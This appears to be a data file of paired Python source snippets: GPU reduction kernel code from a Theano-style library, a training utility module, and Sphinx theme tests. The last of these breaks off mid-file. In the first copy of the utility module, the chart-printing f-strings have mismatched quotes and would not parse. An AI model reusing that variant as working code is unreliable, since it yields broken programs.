load_in + "(A[i0 * sA0 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 1, 1):
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
myresult = %(reduce_init)s;
for (int i0 = 0; i0 < d0; i0++)
for (int i1 = threadIdx.z; i1 < d1; i1 += blockDim.z)
{
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 0, 1, 1) or self.reduce_mask == (1, 0, 1):
reducebuf = self._k_reduce_buf("Z[blockIdx.x*sZ0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + blockIdx.x * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[blockIdx.x * sA1])", assign_dtype
)
kname = "kernel_reduce_1011"
k_var = "kernel_reduce_1011_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2, const ga_size d3,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2, const ga_ssize sA3,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0)
{
const int threadCount = blockDim.x * blockDim.y * blockDim.z;
const int threadNum = threadIdx.z * blockDim.x * blockDim.y + threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.z; i0 < d0; i0 += blockDim.z)
{
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
return kernels
class GpuErfinv(Erfinv):
"""
Inverse error function for GPU.
"""
def c_headers(self):
return ["math_functions.h", "cublas_v2.h"]
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
if node.inputs[0].type in complex_types:
raise NotImplementedError("type not supported", type)
# NB: CUDA erfinv function (GPU op) returns NaN if x not in [-1;1],
# while `scipy.special.erfinv` (CPU op) returns an infinite (-inf if x < -1, +inf if x > 1).
# For consistency of CPU and GPU ops, we wrap the CUDA erfinv in the following conditions
# to ensure that GPU op returns the same values as CPU op.
return (
"%(z)s = (%(x)s <= -1) ? erfinv(-1.0): ((%(x)s >= 1) ? erfinv(1.0): erfinv(%(x)s));"
% locals()
)
gpu_erfinv = GpuErfinv(upgrade_to_float_no_complex, name="gpu_erfinv")
class GpuErfcinv(Erfcinv):
"""
Inverse complementary error function for GPU.
"""
def c_headers(self):
return ["math_functions.h", "cublas_v2.h"]
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
if node.inputs[0].type in complex_types:
raise NotImplementedError("type not supported", type)
# NB: CUDA erfcinv function (GPU op) returns NaN if x not in [0;2],
# while `scipy.special.erfcinv` (CPU op) returns an infinite (+inf if x < 0, -inf if x > 2).
# For consistency of CPU and GPU ops, we wrap the CUDA erfcinv in the following conditions
# to ensure that GPU op returns the same values as CPU op.
return (
"%(z)s = (%(x)s <= 0) ? erfcinv(0.0): ((%(x)s >= 2) ? erfcinv(2.0): erfcinv(%(x)s));"
% locals()
)
gpu_erfcinv = GpuErfcinv(upgrade_to_float_no_complex, name="gpu_erfcinv")
# Caching GpuCAReduceCuda
def gpu_ca_reduce_cuda(
scalar_op,
axis=None,
reduce_mask=None,
dtype=None,
acc_dtype=None,
pre_scalar_op=None,
):
key = (scalar_op, axis, reduce_mask, dtype, acc_dtype, pre_scalar_op)
if key not in gpu_ca_reduce_cuda.cache:
gpu_ca_reduce_cuda.cache[key] = GpuCAReduceCuda(
scalar_op, axis, reduce_mask, dtype, acc_dtype, pre_scalar_op
)
return gpu_ca_reduce_cuda.cache[key]
gpu_ca_reduce_cuda.cache = {}
class GpuCAReduceCPY(GpuKernelBase, HideC, CAReduceDtype):
"""
CAReduce that reuse the python code from gpuarray.
"""
def __init__(self, scalar_op, axis=None, dtype=None, acc_dtype=None):
if not hasattr(scalar_op, "identity"):
raise ValueError("No identity on scalar op")
CAReduceDtype.__init__(
self, scalar_op, axis=axis, dtype=dtype, acc_dtype=acc_dtype
)
def __str__(self):
ax = ""
if self.axis is not None:
ax = f"{{{', '.join(str(x) for x in self.axis)}}}"
return f"GpuReduce{{{self.scalar_op}}}{ax}"
def make_node(self, input):
ctx_name = infer_context_name(input)
res = CAReduceDtype.make_node(self, input)
input = as_gpuarray_variable(input, ctx_name)
otype = GpuArrayType(
dtype=res.outputs[0].dtype,
broadcastable=res.outputs[0].broadcastable,
context_name=ctx_name,
)
if res.op.axis is not None:
redux = []
for i in range(len(input.type.broadcastable)):
redux.append(i in res.op.axis)
# since redux is just another way to describe what is in axis
# it doesn't need to be compared in __eq__ or __hash__
res.op.redux = redux
return Apply(res.op, [input], [otype()])
def get_params(self, node):
return node.outputs[0].type.context
def prepare_node(self, node, storage_map, compute_map, impl):
# cache the kernel object
self.get_kernel_cache(node)
def get_kernel_cache(self, node):
attr = "@cache_reduction_k"
if self.axis is None:
redux = [True] * node.inputs[0].ndim
else:
redux = self.redux
if not hasattr(node, attr):
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
if any(redux):
setattr(node, attr, self.generate_kernel(node, acc_dtype, redux))
if any(redux):
return getattr(node, attr)
def gpu_kernels(self, node, name):
if not any(getattr(self, "redux", [node.inputs[0].ndim != 0])):
# Some OpenCL compilers do not accept no-arguments empty kernels
src = '#include "cluda.h"\nKERNEL void reduk(GLOBAL_MEM float *a) { a[0] = 0; }'
params = ["float32"]
else:
k = self.get_kernel_cache(node)
_, src, _, _ = k._get_basic_kernel(k.init_local_size, node.inputs[0].ndim)
nd = node.inputs[0].ndim
params = ["uint32", gpuarray.GpuArray, "uint32"]
params.extend("uint32" for _ in range(nd))
params.append(gpuarray.GpuArray)
params.append("uint32")
params.extend("int32" for _ in range(nd))
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
return [
Kernel(
code=src,
name="reduk",
params=params,
flags=Kernel.get_flags(
node.inputs[0].type.dtype, acc_dtype, node.outputs[0].type.dtype
),
objvar="k_reduk_" + name,
)
]
def c_code(self, node, name, inp, out, sub):
if not any(getattr(self, "redux", [node.inputs[0].ndim != 0])):
# We special case the no-reduction case since the gpu
# kernel has trouble handling it.
return """
Py_XDECREF(%(out)s);
%(out)s = pygpu_copy(%(inp)s, GA_ANY_ORDER);
if (!%(out)s) {
%(fail)s
}
""" % dict(
out=out[0], inp=inp[0], fail=sub["fail"]
)
k = self.get_kernel_cache(node)
_, src, _, ls = k._get_basic_kernel(k.init_local_size, node.inputs[0].ndim)
if self.axis is None:
redux = [True] * node.inputs[0].ndim
else:
redux = self.redux
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
input = inp[0]
output = out[0]
nd_out = node.outputs[0].ndim
code = """
size_t gs = 1;
size_t ls;
unsigned int n = 1;
unsigned int proxy_dim[%(nd_in)s];
unsigned int proxy_off;
int proxy_str[%(nd_in)s];
void *args[%(n_args)s];
PyGpuArrayObject *tmp;
int err;
""" % dict(
n_args=4 + (node.inputs[0].ndim * 2), nd_in=node.inputs[0].ndim
)
if nd_out != 0:
code += """
size_t out_dims[%(nd_out)s];
int need_out = %(output)s == NULL || %(output)s->ga.nd != %(nd_out)s;
""" % dict(
nd_out=nd_out, output=output
)
j = 0
for i in range(node.inputs[0].ndim):
if not self.redux[i]:
code += """
out_dims[%(j)s] = %(input)s->ga.dimensions[%(i)s];
if (!need_out)
need_out |= %(output)s->ga.dimensions[%(j)s] != out_dims[%(j)s];
""" % dict(
j=j, i=i, input=input, output=output
)
j += 1
code += """
if (need_out) {
%(output)s = pygpu_empty(%(nd_out)s, out_dims, %(out_type)s, GA_C_ORDER, %(ctx)s, Py_None);
if (!%(output)s) {
%(fail)s
}
}
""" % dict(
output=output,
nd_out=nd_out,
fail=sub["fail"],
ctx=sub["params"],
out_type=dtype_to_typecode(node.outputs[0].type.dtype),
)
else:
code += """
if (%(output)s == NULL || %(output)s->ga.nd != 0) {
Py_XDECREF(%(output)s);
%(output)s = pygpu_empty(0, NULL, %(out_type)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (!%(output)s) {
%(fail)s
}
}
""" % dict(
output=output,
fail=sub["fail"],
ctx=sub["params"],
out_type=dtype_to_typecode(node.outputs[0].type.dtype),
)
if acc_dtype != node.outputs[0].type.dtype:
code += """
tmp = pygpu_empty(%(output)s->ga.nd, %(output)s->ga.dimensions,
%(acc_type)s, GA_C_ORDER, %(ctx)s, Py_None);
if (!tmp) %(fail)s
""" % dict(
output=output,
fail=sub["fail"],
ctx=sub["params"],
acc_type=dtype_to_typecode(acc_dtype),
)
else:
code += f"""
tmp = {output};
Py_INCREF(tmp);
"""
# We need the proxies since we are passing a pointer to the
# data into the call and therefore we need a real copy of the
# data in the proper type.
code += """
args[0] = &n;
args[1] = tmp->ga.data;
args[2] = &tmp->ga.offset;
""" % dict(
output=output
)
p = 3
for i in range(node.inputs[0].ndim):
code += """
proxy_dim[%(i)s] = %(input)s->ga.dimensions[%(i)s];
args[%(p)s] = &proxy_dim[%(i)s];
n *= %(input)s->ga.dimensions[%(i)s];
""" % dict(
i=i, p=p, input=input
)
p += 1
if not redux[i]:
code += "gs *= %(input)s->ga.dimensions[%(i)s];" % dict(
input=input, i=i
)
code += """
args[%(p)s] = %(input)s->ga.data;
proxy_off = %(input)s->ga.offset;
args[%(p)s+1] = &proxy_off;
""" % dict(
p=p, input=input
)
p += 2
for i in range(node.inputs[0].ndim):
code += """
proxy_str[%(i)s] = %(input)s->ga.strides[%(i)s];
args[%(p)s] = &proxy_str[%(i)s];
""" % dict(
p=p, i=i, input=input
)
p += 1
code += """
if (gs == 0) gs = 1;
n /= gs;
ls = %(ls)s;
err = GpuKernel_call(&%(k_var)s, 1, &gs, &ls, 0, args);
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: GpuCAReduceCPY: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s
}
if (%(cast_out)d) {
err = GpuArray_move(&%(output)s->ga, &tmp->ga);
Py_XDECREF(tmp);
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: GpuCAReduceCPY [cast]: %%s.",
GpuArray_error(&tmp->ga, err));
%(fail)s
}
} else {
Py_XDECREF(%(output)s);
%(output)s = tmp;
}
""" % dict(
k_var="k_reduk_" + name,
ls=ls,
fail=sub["fail"],
output=output,
input=input,
cast_out=bool(acc_dtype != node.outputs[0].type.dtype),
)
return code
def c_code_cache_version_apply(self, node):
return (4, self.kernel_version(node))
def generate_kernel(self, node, odtype, redux):
if isinstance(self.scalar_op, scalar.basic.Add):
reduce_expr = "a + b"
elif isinstance(self.scalar_op, scalar.basic.Mul):
reduce_expr = "a * b"
else:
raise NotImplementedError()
return ReductionKernel(
node.inputs[0].type.context,
odtype,
self.scalar_op.identity,
reduce_expr,
redux,
arguments=[make_argument(node.inputs[0], "a")],
init_nd=node.inputs[0].ndim,
)
def perform(self, node, inp, out, ctx):
(input,) = inp
(output,) = out
if self.axis is None:
redux = [True] * input.ndim
else:
redux = self.redux
if any(redux):
output[0] = self.get_kernel_cache(node)(input).astype(
copy=False, dtype=node.outputs[0].type.dtype
)
else:
output[0] = pygpu.gpuarray.array(
input, copy=True, dtype=node.outputs[0].type.dtype, context=ctx
)
# To allow reloading old pickled files
GpuCAReduce = GpuCAReduceCPY
|
import sys
import time
import os
import pathlib
import zipfile
from hydra.core.hydra_config import HydraConfig
TOTAL_BAR_LENGTH = 80
LAST_T = time.time()
BEGIN_T = LAST_T
def progress_bar(current, total, msg=None):
global LAST_T, BEGIN_T
if current == 0:
BEGIN_T = time.time() # Reset for new bar.
current_len = int(TOTAL_BAR_LENGTH * (current + 1) / total)
rest_len = int(TOTAL_BAR_LENGTH - current_len) - 1
sys.stdout.write(' %d/%d' % (current + 1, total))
sys.stdout.write(' [')
for i in range(current_len):
sys.stdout.write('=')
sys.stdout.write('>')
for i in range(rest_len):
sys.stdout.write('.')
sys.stdout.write(']')
current_time = time.time()
step_time = current_time - LAST_T
LAST_T = current_time
total_time = current_time - BEGIN_T
time_used = ' Step: %s' % format_time(step_time)
time_used += ' | Tot: %s' % format_time(total_time)
if msg:
time_used += ' | ' + msg
msg = time_used
sys.stdout.write(msg)
if current < total - 1:
sys.stdout.write('\r')
else:
sys.stdout.write('\n')
sys.stdout.flush()
def begin_chart(chart_name, x_axis_name,save_path=None):
if save_path is not None:
with open(os.path.join(save_path,chart_name + '.tsv'),"w") as fd:
fd.write(str(x_axis_name)+"\t"+chart_name+"\n")
print(f'{{'chart':'{chart_name}", "axis": "{x_axis_name}"}}')
def begin_per_epoch_chart(chart_name,save_path=None):
begin_chart(chart_name, 'Epoch',save_path=save_path)
def add_chart_point(chart_name, x, y,save_path=None):
if save_path is not None:
with open(os.path.join(save_path,chart_name + '.tsv'),"a+") as fd:
fd.write(str(x)+"\t"+str(y)+"\n")
print(f'{{'chart': '{chart_name}", "x":{x}, 'y':{y}}}')
def format_time(seconds):
days = int(seconds / 3600/24)
seconds = seconds - days*3600*24
hours = int(seconds / 3600)
seconds = seconds - hours*3600
minutes = int(seconds / 60)
seconds = seconds - minutes*60
secondsf = int(seconds)
seconds = seconds - secondsf
millis = int(seconds*1000)
f = ''
i = 1
if days > 0:
f += str(days) + 'D'
i += 1
if hours > 0 and i <= 2:
f += str(hours) + 'h'
i += 1
if minutes > 0 and i <= 2:
f += str(minutes) + 'm'
i += 1
if secondsf > 0 and i <= 2:
f += str(secondsf) + 's'
i += 1
if millis > 0 and i <= 2:
f += str(millis) + 'ms'
i += 1
if f == '':
f = '0ms'
return f
def save_current_code(path: str):
print(f"Saving current code to {path}")
project_root = HydraConfig.get().runtime.cwd
unwanted_dirs = ["venv", f"utils{os.path.sep}__pycache__",
"outputs", "results", ".idea", ".git", "runs", f"models{os.path.sep}__pycache__", "data"]
unwanted_extensions = ["", "txt", "md"]
with zipfile.ZipFile(os.path.join(path, "files.zip"), "w", zipfile.ZIP_DEFLATED) as z:
for root, dirs, files in os.walk(project_root):
root = root.replace(project_root, "").lstrip(os.path.sep)
if True in [root.startswith(x) for x in unwanted_dirs]:
continue
for file in files:
if file.split(".")[-1] in unwanted_extensions:
continue
z.write(os.path.join(project_root, root, file), os.path.join(root, file))
| import sys
import time
import os
import pathlib
import zipfile
from hydra.core.hydra_config import HydraConfig
TOTAL_BAR_LENGTH = 80
LAST_T = time.time()
BEGIN_T = LAST_T
def progress_bar(current, total, msg=None):
global LAST_T, BEGIN_T
if current == 0:
BEGIN_T = time.time() # Reset for new bar.
current_len = int(TOTAL_BAR_LENGTH * (current + 1) / total)
rest_len = int(TOTAL_BAR_LENGTH - current_len) - 1
sys.stdout.write(' %d/%d' % (current + 1, total))
sys.stdout.write(' [')
for i in range(current_len):
sys.stdout.write('=')
sys.stdout.write('>')
for i in range(rest_len):
sys.stdout.write('.')
sys.stdout.write(']')
current_time = time.time()
step_time = current_time - LAST_T
LAST_T = current_time
total_time = current_time - BEGIN_T
time_used = ' Step: %s' % format_time(step_time)
time_used += ' | Tot: %s' % format_time(total_time)
if msg:
time_used += ' | ' + msg
msg = time_used
sys.stdout.write(msg)
if current < total - 1:
sys.stdout.write('\r')
else:
sys.stdout.write('\n')
sys.stdout.flush()
def begin_chart(chart_name, x_axis_name,save_path=None):
if save_path is not None:
with open(os.path.join(save_path,chart_name + '.tsv'),"w") as fd:
fd.write(str(x_axis_name)+"\t"+chart_name+"\n")
print(f'{{"chart":"{chart_name}", "axis": "{x_axis_name}"}}')
def begin_per_epoch_chart(chart_name,save_path=None):
begin_chart(chart_name, 'Epoch',save_path=save_path)
def add_chart_point(chart_name, x, y,save_path=None):
if save_path is not None:
with open(os.path.join(save_path,chart_name + '.tsv'),"a+") as fd:
fd.write(str(x)+"\t"+str(y)+"\n")
print(f'{{"chart": "{chart_name}", "x":{x}, "y":{y}}}')
def format_time(seconds):
days = int(seconds / 3600/24)
seconds = seconds - days*3600*24
hours = int(seconds / 3600)
seconds = seconds - hours*3600
minutes = int(seconds / 60)
seconds = seconds - minutes*60
secondsf = int(seconds)
seconds = seconds - secondsf
millis = int(seconds*1000)
f = ''
i = 1
if days > 0:
f += str(days) + 'D'
i += 1
if hours > 0 and i <= 2:
f += str(hours) + 'h'
i += 1
if minutes > 0 and i <= 2:
f += str(minutes) + 'm'
i += 1
if secondsf > 0 and i <= 2:
f += str(secondsf) + 's'
i += 1
if millis > 0 and i <= 2:
f += str(millis) + 'ms'
i += 1
if f == '':
f = '0ms'
return f
def save_current_code(path: str):
print(f"Saving current code to {path}")
project_root = HydraConfig.get().runtime.cwd
unwanted_dirs = ["venv", f"utils{os.path.sep}__pycache__",
"outputs", "results", ".idea", ".git", "runs", f"models{os.path.sep}__pycache__", "data"]
unwanted_extensions = ["", "txt", "md"]
with zipfile.ZipFile(os.path.join(path, "files.zip"), "w", zipfile.ZIP_DEFLATED) as z:
for root, dirs, files in os.walk(project_root):
root = root.replace(project_root, "").lstrip(os.path.sep)
if True in [root.startswith(x) for x in unwanted_dirs]:
continue
for file in files:
if file.split(".")[-1] in unwanted_extensions:
continue
z.write(os.path.join(project_root, root, file), os.path.join(root, file))
|
import os
from pathlib import Path
from shutil import copytree
from bs4 import BeautifulSoup
from sphinx.testing.util import SphinxTestApp
from sphinx.testing.path import path as sphinx_path
import sphinx.errors
import pytest
path_tests = Path(__file__).parent
class SphinxBuild:
def __init__(self, app: SphinxTestApp, src: Path):
self.app = app
self.src = src
def build(self):
self.app.build()
assert self.warnings == "", self.status
return self
@property
def status(self):
return self.app._status.getvalue()
@property
def warnings(self):
return self.app._warning.getvalue()
@property
def outdir(self):
return Path(self.app.outdir)
def html_tree(self, *path):
path_page = self.outdir.joinpath(*path)
if not path_page.exists():
raise ValueError(f"{path_page} does not exist")
return BeautifulSoup(path_page.read_text("utf8"), "html.parser")
@pytest.fixture()
def sphinx_build_factory(make_app, tmp_path):
def _func(src_folder, **kwargs):
copytree(path_tests / "sites" / src_folder, tmp_path / src_folder)
app = make_app(
srcdir=sphinx_path(os.path.abspath((tmp_path / src_folder))), **kwargs
)
return SphinxBuild(app, tmp_path / src_folder)
yield _func
def test_build_html(sphinx_build_factory, file_regression):
"""Test building the base html template and config."""
sphinx_build = sphinx_build_factory("base") # type: SphinxBuild
# Basic build with defaults
sphinx_build.build()
assert (sphinx_build.outdir / "index.html").exists(), sphinx_build.outdir.glob("*")
index_html = sphinx_build.html_tree("index.html")
subpage_html = sphinx_build.html_tree("section1/index.html")
# Navbar structure
navbar = index_html.select("div#navbar-center")[0]
file_regression.check(navbar.prettify(), basename="navbar_ix", extension=".html")
# Sidebar structure
sidebar = index_html.select(".bd-sidebar")[0]
file_regression.check(sidebar.prettify(), basename="sidebar_ix", extension=".html")
# Sidebar subpage
sidebar = subpage_html.select(".bd-sidebar")[0]
file_regression.check(
sidebar.prettify(), basename="sidebar_subpage", extension=".html"
)
def test_toc_visibility(sphinx_build_factory):
# Test that setting TOC level visibility works as expected
confoverrides = {
"html_theme_options.show_toc_level": 2,
}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
# The 3rd level headers should be visible, but not the fourth-level
assert "visible" in index_html.select(".toc-h2 ul")[0].attrs["class"]
assert "visible" not in index_html.select(".toc-h3 ul")[0].attrs["class"]
def test_logo(sphinx_build_factory):
"""Test that the logo is shown by default, project title if no logo."""
sphinx_build = sphinx_build_factory("base").build()
# By default logo is shown
index_html = sphinx_build.html_tree("index.html")
assert index_html.select(".navbar-brand img")
assert not index_html.select(".navbar-brand")[0].text.strip()
def test_logo_name(sphinx_build_factory):
"""Test that the logo is shown by default, project title if no logo."""
confoverrides = {"html_logo": ""}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
# if no logo is specified, use project title instead
index_html = sphinx_build.html_tree("index.html")
assert "PyData Tests" in index_html.select(".navbar-brand")[0].text.strip()
def test_favicons(sphinx_build_factory):
"""Test that arbitrary favicons are included."""
html_theme_options_favicons = {
"favicons": [
{
"rel": "icon",
"sizes": "16x16",
"href": "https://secure.example.com/favicon/favicon-16x16.png",
},
{
"rel": "icon",
"sizes": "32x32",
"href": "favicon-32x32.png",
},
{
"rel": "apple-touch-icon",
"sizes": "180x180",
"href": "apple-touch-icon-180x180.png",
},
]
}
confoverrides = {"html_theme_options": html_theme_options_favicons}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
icon_16 = (
'<link href="https://secure.example.com/favicon/favicon-16x16.png" '
'rel="icon" sizes="16x16"/>'
)
icon_32 = '<link href="_static/favicon-32x32.png" rel="icon" sizes="32x32"/>'
icon_180 = (
'<link href="_static/apple-touch-icon-180x180.png" '
'rel="apple-touch-icon" sizes="180x180"/>'
)
assert icon_16 in str(index_html.select("head")[0])
assert icon_32 in str(index_html.select("head")[0])
assert icon_180 in str(index_html.select("head")[0])
def test_sidebar_default(sphinx_build_factory):
"""The sidebar is shrunk when no sidebars specified in html_sidebars."""
sphinx_build = sphinx_build_factory("base").build()
index_html = sphinx_build.html_tree("page1.html")
assert "col-md-3" in index_html.select(".bd-sidebar")[0].attrs["class"]
def test_sidebar_disabled(sphinx_build_factory):
"""The sidebar is shrunk when no sidebars specified in html_sidebars."""
confoverrides = {"html_sidebars.page1": ""}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("page1.html")
assert "col-md-1" in index_html.select(".bd-sidebar")[0].attrs["class"]
def test_navbar_align_default(sphinx_build_factory):
"""The navbar items align with the proper part of the page."""
sphinx_build = sphinx_build_factory("base").build()
index_html = sphinx_build.html_tree("index.html")
assert "col-lg-9" in index_html.select("div#navbar-collapsible")[0].attrs["class"]
def test_navbar_align_right(sphinx_build_factory):
"""The navbar items align with the proper part of the page."""
confoverrides = {"html_theme_options.navbar_align": "right"}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
# Both the column alignment and the margin should be changed
index_html = sphinx_build.html_tree("index.html")
assert "col-lg-9" not in index_html.select("div#navbar-center")[0].attrs["class"]
assert "ml-auto" in index_html.select("div#navbar-center")[0].attrs["class"]
def test_navbar_no_in_page_headers(sphinx_build_factory, file_regression):
# https://github.com/pydata/pydata-sphinx-theme/issues/302
sphinx_build = sphinx_build_factory("test_navbar_no_in_page_headers").build()
index_html = sphinx_build.html_tree("index.html")
navbar = index_html.select("ul#navbar-main-elements")[0]
file_regression.check(navbar.prettify(), extension=".html")
def test_sidebars_captions(sphinx_build_factory, file_regression):
sphinx_build = sphinx_build_factory("sidebars").build()
subindex_html = sphinx_build.html_tree("section1/index.html")
# Sidebar structure with caption
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_nested_page(sphinx_build_factory, file_regression):
sphinx_build = sphinx_build_factory("sidebars").build()
subindex_html = sphinx_build.html_tree("section1/subsection1/page1.html")
# For nested (uncollapsed) page, the label included `checked=""`
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_single(sphinx_build_factory, file_regression):
confoverrides = {"templates_path": ["_templates_single_sidebar"]}
sphinx_build = sphinx_build_factory("sidebars", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
# No navbar included
assert not index_html.select("nav#navbar-main")
assert not index_html.select(".navbar-nav")
# Sidebar structure
sidebar = index_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_level2(sphinx_build_factory, file_regression):
confoverrides = {"templates_path": ["_templates_sidebar_level2"]}
sphinx_build = sphinx_build_factory("sidebars", confoverrides=confoverrides).build()
subindex_html = sphinx_build.html_tree("section1/subsection1/index.html")
# Sidebar structure
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_included_toc(sphinx_build_factory):
"""Test that Sphinx project containing TOC (.. toctree::) included
via .. include:: can be successfully built.
"""
# Regression test for bug resolved in #347.
# Tests mainly makes sure that the sphinx_build.build() does not raise exception.
# https://github.com/pydata/pydata-sphinx-theme/pull/347
sphinx_build = sphinx_build_factory("test_included_toc").build()
included_page_html = sphinx_build.html_tree("included-page.html")
assert included_page_html is not None
# html contexts for `show_edit_button`
# these are "good" context fragements that should yield a working link
good_edits = [
[
{
"github_user": "foo",
"github_repo": "bar",
"github_version": "HEAD",
"doc_path": "docs",
},
"https://github.com/foo/bar/edit/HEAD/docs/index.rst",
],
[
{
"gitlab_user": "foo",
"gitlab_repo": "bar",
"gitlab_version": "HEAD",
"doc_path": "docs",
},
"https://gitlab.com/foo/bar/-/edit/HEAD/docs/index.rst",
],
[
{
"bitbucket_user": "foo",
"bitbucket_repo": "bar",
"bitbucket_version": "HEAD",
"doc_path": "docs",
},
"https://bitbucket.org/foo/bar/src/HEAD/docs/index.rst?mode=edit",
],
]
# copy the "good" ones, ensure `doc_path` is agnostic to trailing slashes
slash_edits = [
[
{
# add slashes to doc_path:
key: f"{value}/" if key == "doc_path" else value
for key, value in html_context.items()
},
# the URL does not change
url,
]
for html_context, url in good_edits
]
# copy the "good" ones, provide a `<whatever>_url` based off the default
providers = [
[
dict(
# copy all the values
**html_context,
# add a provider url
**{f"{provider}_url": f"https://{provider}.example.com"},
),
f"""https://{provider}.example.com/foo/{url.split("/foo/")[1]}""",
]
for html_context, url in good_edits
for provider in ["gitlab", "bitbucket", "github"]
if provider in url
]
# missing any of the values should fail
bad_edits = [
[
{
# copy all the values
key: value
for key, value in html_context.items()
# but not `<provider>_version`
if "_version" not in key
},
None,
]
for html_context, url in good_edits
]
# a good custom URL template
good_custom = [
[
{
"edit_page_url_template": (
"https://dvcs.example.com/foo/bar/edit/HEAD/{{ file_name }}"
)
},
"https://dvcs.example.com/foo/bar/edit/HEAD/index.rst",
]
]
# a bad custom URL template
bad_custom = [
[
# it's missing a reference to {{ file_name }}
{"edit_page_url_template": "http://has-no-file-name"},
None,
]
]
all_edits = [
*good_edits,
*slash_edits,
*bad_edits,
*good_custom,
*bad_custom,
*providers,
]
@pytest.mark.parametrize("html_context,edit_url", all_edits)
def test_edit_page_url(sphinx_build_factory, html_context, edit_url):
confoverrides = {
"html_theme_options.use_edit_page_button": True,
"html_context": html_context,
}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides)
if edit_url is None:
with pytest.raises(sphinx.errors.ThemeError):
sphinx_build.build()
return
sphinx_build.build()
index_html = sphinx_build.html_tree("index.html")
edit_link = index_html.select(".editthispage a")
assert edit_link, "no edit link found"
assert edit_link[0].attrs["href"] == edit_url, f"edit link didn't match {edit_link}"
| import os
from pathlib import Path
from shutil import copytree
from bs4 import BeautifulSoup
from sphinx.testing.util import SphinxTestApp
from sphinx.testing.path import path as sphinx_path
import sphinx.errors
import pytest
path_tests = Path(__file__).parent
class SphinxBuild:
def __init__(self, app: SphinxTestApp, src: Path):
self.app = app
self.src = src
def build(self):
self.app.build()
assert self.warnings == "", self.status
return self
@property
def status(self):
return self.app._status.getvalue()
@property
def warnings(self):
return self.app._warning.getvalue()
@property
def outdir(self):
return Path(self.app.outdir)
def html_tree(self, *path):
path_page = self.outdir.joinpath(*path)
if not path_page.exists():
raise ValueError(f"{path_page} does not exist")
return BeautifulSoup(path_page.read_text("utf8"), "html.parser")
@pytest.fixture()
def sphinx_build_factory(make_app, tmp_path):
def _func(src_folder, **kwargs):
copytree(path_tests / "sites" / src_folder, tmp_path / src_folder)
app = make_app(
srcdir=sphinx_path(os.path.abspath((tmp_path / src_folder))), **kwargs
)
